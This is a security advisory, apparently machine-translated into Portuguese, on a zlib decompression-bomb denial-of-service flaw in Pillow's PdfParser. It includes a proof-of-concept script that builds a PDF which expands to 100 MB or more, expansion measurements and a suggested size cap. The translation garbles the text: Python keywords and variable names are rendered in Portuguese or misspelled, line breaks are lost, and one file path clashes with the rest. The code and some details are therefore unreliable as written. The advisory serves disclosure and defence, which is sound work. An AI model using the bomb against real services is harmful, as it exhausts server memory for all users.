### Resumo `PdfParser.PdfStream.decode()` no campo 'PdfParser.py' da Pillow chama `zlib.decompress()` com o parâmetro `bufsize` definido para o valor do campo `Longueza' da transmissão PDF, sem limites superiores no tamanho de saída real descomprimido. O argumento `zlib.decompress()` `bufsize` do Python é uma dica de buffer de saída *inicial*, não um limite máximo de tamanho — a função irá expandir a memória até que o resultado completo descomprimido seja produzido. Um PDF criado que contém um fluxo FlateDecode comprimido descomprimiu para 1 GB de memória de um ~ 950 Arquivo KB, causando terminação do servidor OOM ou degradação grave em qualquer aplicativo que use o `PdfParser` para ler arquivos PDF não confiáveis. ### Detalhes `PdfStream.decode()` em `pdfminer/PdfParser.py` lê o campo declarou a transmissão `Longueza' (ou `DL`) do dicionário PDF e passa- o como `bufsize' para `zlib.decompress()`: ````python # PIL/PdfParser.py — PdfStream.decode() classe PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b"Filtro"] exceto KeyError: return self.buf self.buf se filter == b"FlateDecode": try: sweated_long = self.dictionary[b"DL"] exceto KeyError: sweated_long = self.dictionary[b"Length"] devolve zlib.decompress(self.buf, bufsize=int(expected_length)) # ^^^^^^^^^^^^^^^^^^ # bufsize é um indício * inicial de amortiguação*, NÃO um limite máximo de tamanho. # zlib.decompress() atribui quanta memória como necessário independentemente.

A partir da documentação do Python: *"O parâmetro `bufsize` é usado como o tamanho inicial do buffer de saída."* Ele não protege a descompressão. Um atacante que controla o conteúdo do stream PDF pode fornecer uma carga útil altamente compressa que se expande para gigabytes, ao mesmo tempo que configura " Longeza " para qualquer valor (incluindo o tamanho comprimido real) para evitar a validação do formato. `PdfParser` é instantâneo com um nome de arquivo ou objeto de arquivo e chama `read_pdf_info()` em aberto, o que analisa a tabela xref e torna os objetos de stream acessíveis. `PdfStream.decode()` é acessível sempre que o código de chamada acessá um objeto de stream comprimido do PDF analisado. **Caminho alcançável confirmado:** ````python com PdfParser.PdfParser("evil.pdf") como pdf: stream_obj, _ = pdf.get_value(pdf.buf, stream_offset) data = stream_obj.decode() # ← OOM aqui ```.

````python importa zlib, tempfile, os, tempo de importação PIL PdfParser. # Construir um PDF mínimo com um 100 MB FlateDecode Bomba (escala de demo) EXPAND_MB = 100 bruto = b'\x 00 ' * (EXPANDÊNCIA_MB * 1 _ 000 _ 000 ) compressa = zlib.compress(graw, level= 9 ) # ~ 97 KB buf = b'% PDF- 1.4 \n' o 1 = len( buf); buf += b' 1 0 obj\n >\endobj\n' o 2 = len( buf); buf += b' 2 0 Obj\n >\endobj\n' o 3 = len(buf) hdr = f' >'.encode() buf += b' 3 0 obj\n' + hdr + b'\nstream\n' + comprimido + b'\nendstream\nendobj\n' xref = len(buf) buf += b'xref\n 0 4 \n 0000000000 65535 f \n ' para desligar em [o 1, o 2, o 3 ]: buf += f'{off: 010 d} 00000 n \n'. encode() buf += b' trailer\n >\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'.

print( f" PDF tamanho: {len( buf):,} bytes ({len( buf)/ 1024:. 1 f} KB)") com o arquivo temp.Nome de Arquivo Temporário(delete=False, sufix='.pdf') como f: f.write(buf); tmpname = f.name.

com o PdfParser.PdfParser(tmpname) como pdf: obj, _ = pdf.get_value(pdf.buf, o 3 ) t = time.time() decodificado = obj.decode() print( f"Decodificado: {len(decodificado):,} bytes em {time.time()- t:. 3 f} s ") Os.unlink(tmpname) ```. **Saída real (Pillow 12.1.1, Python 3.12 ):** Tamanho de PDF: 97,538 bytes ( 95.3 KB) Decodificado: 100,000,000 bytes em 0.265 s ```.

** Expansão medida:**. Tamanho do arquivo PDF Memória alocada Razão Tempo de parede 10 KBň 10 MBї 1,026 × | 0.024 s 95 KBň 100 MBї 1,028 × | 0.265 s 475 KBň 500 MBї 1,028 × | 1.279 s 950 KBň 1,000 MB ( 1 GB) 1,028 × | 2.668 sї ### Impacto Esta é uma vulnerabilidade de negação de serviço. Qualquer aplicativo que use o `PIL.PdfParser.PdfParser` para ler arquivos PDF não confiados é afetado. Um atacante não autêntico que pode enviar um PDF para processamento pode exaustar toda a memória do servidor disponível com um ~ 950 Arquivo KB, causando terminação da OOM ou degradação do serviço afetando todos os usuários concorrentes. Não é necessária nenhuma autenticação ou interação do usuário além de enviar o arquivo.

** Nota:** Esta vulnerabilidade é independente do CVE- 2025 - 64512 / CVE- 2025 - 70559 (pdfminer.six) e o problema de descompressão do companhão `PIL/PdfImagePlugin.py`. Ele existe especificamente no módulo `PdfParser.py` do próprio Pillow, que é distinto do pdfminer.six. ```python MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 Capa de MB.

def decode( self) -> bytes:... se filtro == b"FlateDecode":... result = zlib.decompress( self.buf, bufsize=int(espected_longth)) se len(result) > MAX_DECOMPRESS_BYTES: msg = "decompresso fluxo excede o tamanho máximo permitido" aumentar ValorError( msg) devolver resultado ``` Registro de aconselhamento: GHSA-jjj 6 - mw 9 f- p 565. Identificadores relacionados: CVE- 2026 - 59200.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 20 T 23: 11: 29.000 Z e lista a sua última modificação como 2026 - 07 - 20 T 23: 11: 29.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

Software afetado e informações de versão: Pacote PyPI Pillow — ECOSYSTEM: introduzido 5.1.0, corrigido 12.3.0. Classificação e evidência: identificadores de fraqueza CWE- 400, CWE- 770. O registro contém 6 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.